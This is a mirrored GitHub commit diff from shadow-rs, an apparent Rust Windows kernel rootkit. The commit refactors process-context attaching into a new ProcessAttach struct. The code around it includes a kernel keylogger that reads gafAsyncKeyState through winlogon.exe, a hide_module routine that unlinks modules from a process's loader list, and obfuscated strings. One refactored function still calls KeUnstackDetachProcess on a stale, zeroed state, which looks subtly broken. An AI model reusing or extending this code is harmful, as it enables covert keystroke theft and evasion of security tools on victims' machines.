mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-07 01:25:01 +01:00
Add ProcessAttach struct to manage process context switching
This commit is contained in:
@@ -1,22 +1,23 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
shared::structs::Keylogger,
|
||||
keys::VK_CHARS,
|
||||
core::{ffi::c_void, mem::size_of},
|
||||
crate::{
|
||||
process::Process,
|
||||
get_ks_byte, get_ks_down_bit,
|
||||
includes::MmCopyVirtualMemory,
|
||||
is_key_down, set_key_down,
|
||||
utils::{address::{get_address_asynckey, get_module_base_address}, get_process_by_name},
|
||||
is_key_down, set_key_down,
|
||||
includes::MmCopyVirtualMemory, process::Process,
|
||||
utils::{
|
||||
address::{get_address_asynckey, get_module_base_address},
|
||||
get_process_by_name, process_attach::ProcessAttach
|
||||
}
|
||||
},
|
||||
core::{ffi::c_void, mem::size_of},
|
||||
keys::VK_CHARS,
|
||||
obfstr::obfstr,
|
||||
shared::structs::Keylogger,
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
IoGetCurrentProcess, KeDelayExecutionThread, KeStackAttachProcess, KeUnstackDetachProcess,
|
||||
IoGetCurrentProcess, KeDelayExecutionThread,
|
||||
PsTerminateSystemThread,
|
||||
},
|
||||
KAPC_STATE, LARGE_INTEGER, NTSTATUS, PVOID, STATUS_SUCCESS,
|
||||
_MODE::KernelMode,
|
||||
LARGE_INTEGER, NTSTATUS, PVOID, STATUS_SUCCESS, _MODE::KernelMode,
|
||||
}
|
||||
};
|
||||
|
||||
@@ -166,8 +167,6 @@ pub unsafe extern "C" fn keylogger(_address: *mut c_void) {
|
||||
/// `Option<PVOID>`: The address of the `gafAsyncKeyState` array if found, otherwise `None`.
|
||||
///
|
||||
unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
|
||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||
|
||||
if !initialize_winlogon_process() {
|
||||
return None;
|
||||
}
|
||||
@@ -178,7 +177,7 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
|
||||
let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
|
||||
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 200);
|
||||
|
||||
KeStackAttachProcess(winlogon_eprocess.e_process, &mut apc_state);
|
||||
let attach_process = ProcessAttach::new(winlogon_eprocess.e_process);
|
||||
|
||||
// fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
|
||||
// fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax
|
||||
@@ -194,13 +193,9 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
|
||||
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
|
||||
let gaf_async_key_state = new_base.cast::<u8>().offset(offset as isize);
|
||||
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
|
||||
return Some(gaf_async_key_state as PVOID);
|
||||
}
|
||||
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
|
||||
@@ -1,23 +1,20 @@
|
||||
use {
|
||||
winapi::shared::ntdef::LIST_ENTRY,
|
||||
ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB},
|
||||
shared::structs::{ModuleInfo, TargetModule, TargetProcess},
|
||||
wdk_sys::{
|
||||
ntddk::IoGetCurrentProcess,
|
||||
FILE_OBJECT, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE,
|
||||
STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL,
|
||||
_MODE::KernelMode
|
||||
},
|
||||
crate::{
|
||||
includes::{
|
||||
structs::MMVAD_SHORT, vad::MMVAD,
|
||||
MmCopyVirtualMemory, PsGetProcessPeb
|
||||
},
|
||||
process::Process, utils::pool::PoolMemory
|
||||
process::Process, utils::{pool::PoolMemory, process_attach::ProcessAttach}
|
||||
},
|
||||
ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB},
|
||||
shared::structs::{ModuleInfo, TargetProcess, TargetModule},
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
IoGetCurrentProcess, KeStackAttachProcess,
|
||||
KeUnstackDetachProcess,
|
||||
},
|
||||
FILE_OBJECT, KAPC_STATE, NTSTATUS, POOL_FLAG_NON_PAGED, RTL_BALANCED_NODE,
|
||||
STATUS_INVALID_ADDRESS, STATUS_INVALID_PARAMETER, STATUS_UNSUCCESSFUL,
|
||||
_MODE::KernelMode
|
||||
},
|
||||
winapi::shared::ntdef::LIST_ENTRY
|
||||
};
|
||||
|
||||
pub mod ioctls;
|
||||
@@ -45,7 +42,6 @@ impl Module {
|
||||
log::info!("Starting module enumeration");
|
||||
|
||||
let pid = (*process).pid;
|
||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||
let temp_info_size = 256 * core::mem::size_of::<ModuleInfo>();
|
||||
|
||||
// Allocates memory for temporarily storing module information
|
||||
@@ -58,12 +54,11 @@ impl Module {
|
||||
|
||||
// Attaches the target process to the current context
|
||||
let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||
|
||||
let mut attach_process = ProcessAttach::new(target.e_process);
|
||||
|
||||
// Gets the PEB (Process Environment Block) of the target process
|
||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Err(STATUS_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
@@ -75,14 +70,12 @@ impl Module {
|
||||
while next != current {
|
||||
if next.is_null() {
|
||||
log::error!("Next LIST_ENTRY is null");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||
if list_entry.is_null() {
|
||||
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
@@ -90,7 +83,6 @@ impl Module {
|
||||
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
|
||||
if buffer.is_empty() {
|
||||
log::error!("Buffer for module name is empty");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
@@ -106,7 +98,7 @@ impl Module {
|
||||
}
|
||||
|
||||
// Detaches the target process
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
attach_process.detach();
|
||||
|
||||
// Copies module information to the caller's space
|
||||
let size_to_copy = count as usize * core::mem::size_of::<ModuleInfo>();
|
||||
@@ -137,13 +129,11 @@ impl Module {
|
||||
pub unsafe fn hide_module(target: *mut TargetModule) -> Result<(), NTSTATUS> {
|
||||
let pid = (*target).pid;
|
||||
let module_name = &(*target).module_name.to_lowercase();
|
||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||
let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?;
|
||||
let mut attach_process = ProcessAttach::new(target.e_process);
|
||||
|
||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Err(STATUS_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
@@ -154,21 +144,18 @@ impl Module {
|
||||
while next != current {
|
||||
if next.is_null() {
|
||||
log::error!("Next LIST_ENTRY is null");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||
if list_entry.is_null() {
|
||||
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize);
|
||||
if buffer.is_empty() {
|
||||
log::error!("Buffer for module name is empty");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
@@ -187,7 +174,7 @@ impl Module {
|
||||
}
|
||||
|
||||
// Detaches the target process
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
attach_process.detach();
|
||||
|
||||
if !address.is_null() {
|
||||
Self::hide_object(address as u64, target);
|
||||
|
||||
@@ -1,17 +1,15 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
obfstr::obfstr,
|
||||
ntapi::ntzwapi::ZwQuerySystemInformation,
|
||||
super::{get_process_by_name, pool::PoolMemory},
|
||||
super::{get_process_by_name, pool::PoolMemory, process_attach::ProcessAttach},
|
||||
crate::{process::Process, utils::SystemModuleInformation},
|
||||
core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts},
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
KeStackAttachProcess,
|
||||
KeUnstackDetachProcess
|
||||
},
|
||||
KAPC_STATE, NT_SUCCESS, POOL_FLAG_NON_PAGED,
|
||||
NT_SUCCESS, POOL_FLAG_NON_PAGED,
|
||||
},
|
||||
winapi::um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64}
|
||||
winapi::um::winnt::{
|
||||
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64
|
||||
}
|
||||
};
|
||||
|
||||
/// Gets the base address of a specified module.
|
||||
@@ -101,7 +99,6 @@ pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -
|
||||
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
|
||||
///
|
||||
pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||
let pid = match get_process_by_name(obfstr!("winlogon.exe")) {
|
||||
Some(p) => p,
|
||||
None => return None
|
||||
@@ -112,7 +109,7 @@ pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<
|
||||
None => return None
|
||||
};
|
||||
|
||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||
let attach_process = ProcessAttach::new(target.e_process);
|
||||
|
||||
let dll_base = dll_base as usize;
|
||||
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||
@@ -128,12 +125,9 @@ pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
|
||||
if name_module == name {
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Some(address);
|
||||
}
|
||||
}
|
||||
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
|
||||
None
|
||||
}
|
||||
@@ -1,16 +1,16 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
handles::Handle,
|
||||
pool::PoolMemory,
|
||||
winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,IMAGE_NT_HEADERS64},
|
||||
pool::PoolMemory,
|
||||
process_attach::ProcessAttach,
|
||||
crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process},
|
||||
alloc::{string::String, vec::Vec},
|
||||
alloc::{string::String, vec::Vec},
|
||||
core::{
|
||||
ffi::{c_void, CStr},
|
||||
mem::{size_of, zeroed},
|
||||
ptr::{null_mut, read_unaligned},
|
||||
slice::from_raw_parts
|
||||
},
|
||||
handles::Handle,
|
||||
ntapi::{
|
||||
ntexapi::{
|
||||
SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION
|
||||
@@ -22,6 +22,7 @@ use {
|
||||
wdk_sys::{
|
||||
ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, *
|
||||
},
|
||||
winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,IMAGE_NT_HEADERS64}
|
||||
};
|
||||
|
||||
#[cfg(not(test))]
|
||||
@@ -42,6 +43,7 @@ pub mod patterns;
|
||||
pub mod address;
|
||||
pub mod handles;
|
||||
pub mod pool;
|
||||
pub mod process_attach;
|
||||
|
||||
/// Retrieves the input buffer from the given IO stack location.
|
||||
///
|
||||
@@ -144,7 +146,7 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
|
||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||
let target = Process::new(pid)?;
|
||||
|
||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||
let attach_process = ProcessAttach::new(target.e_process);
|
||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||
if target_peb.is_null() || (*target_peb).Ldr.is_null() {
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
@@ -157,14 +159,12 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
|
||||
while next != current {
|
||||
if next.is_null() {
|
||||
log::error!("Next LIST_ENTRY is null");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return None;
|
||||
}
|
||||
|
||||
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||
if list_entry.is_null() {
|
||||
log::error!("LDR_DATA_TABLE_ENTRY is null");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return None;
|
||||
}
|
||||
|
||||
@@ -174,7 +174,6 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
|
||||
);
|
||||
if buffer.is_empty() {
|
||||
log::error!("Buffer for module name is empty");
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return None;
|
||||
}
|
||||
|
||||
@@ -194,7 +193,6 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
|
||||
if name_module == function_name {
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Some(address);
|
||||
}
|
||||
}
|
||||
@@ -203,8 +201,6 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
|
||||
next = (*next).Flink;
|
||||
}
|
||||
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
|
||||
45
driver/src/utils/process_attach.rs
Normal file
45
driver/src/utils/process_attach.rs
Normal file
@@ -0,0 +1,45 @@
|
||||
use wdk_sys::{ntddk::{KeStackAttachProcess, KeUnstackDetachProcess}, KAPC_STATE, PRKPROCESS};
|
||||
|
||||
pub struct ProcessAttach {
|
||||
apc_state: KAPC_STATE,
|
||||
attached: bool,
|
||||
}
|
||||
|
||||
impl ProcessAttach {
|
||||
// Function for attaching the context of a process
|
||||
#[inline]
|
||||
pub fn new(target_process: PRKPROCESS) -> Self {
|
||||
let mut apc_state: KAPC_STATE = unsafe { core::mem::zeroed() };
|
||||
|
||||
unsafe {
|
||||
KeStackAttachProcess(target_process, &mut apc_state);
|
||||
}
|
||||
|
||||
Self {
|
||||
apc_state,
|
||||
attached: true,
|
||||
}
|
||||
}
|
||||
|
||||
// Method for manually detaching the process
|
||||
#[inline]
|
||||
pub fn detach(&mut self) {
|
||||
if self.attached {
|
||||
unsafe {
|
||||
KeUnstackDetachProcess(&mut self.apc_state);
|
||||
}
|
||||
self.attached = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for ProcessAttach {
|
||||
fn drop(&mut self) {
|
||||
// If it is still attached, it unattaches when it leaves the scope
|
||||
if self.attached {
|
||||
unsafe {
|
||||
KeUnstackDetachProcess(&mut self.apc_state);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user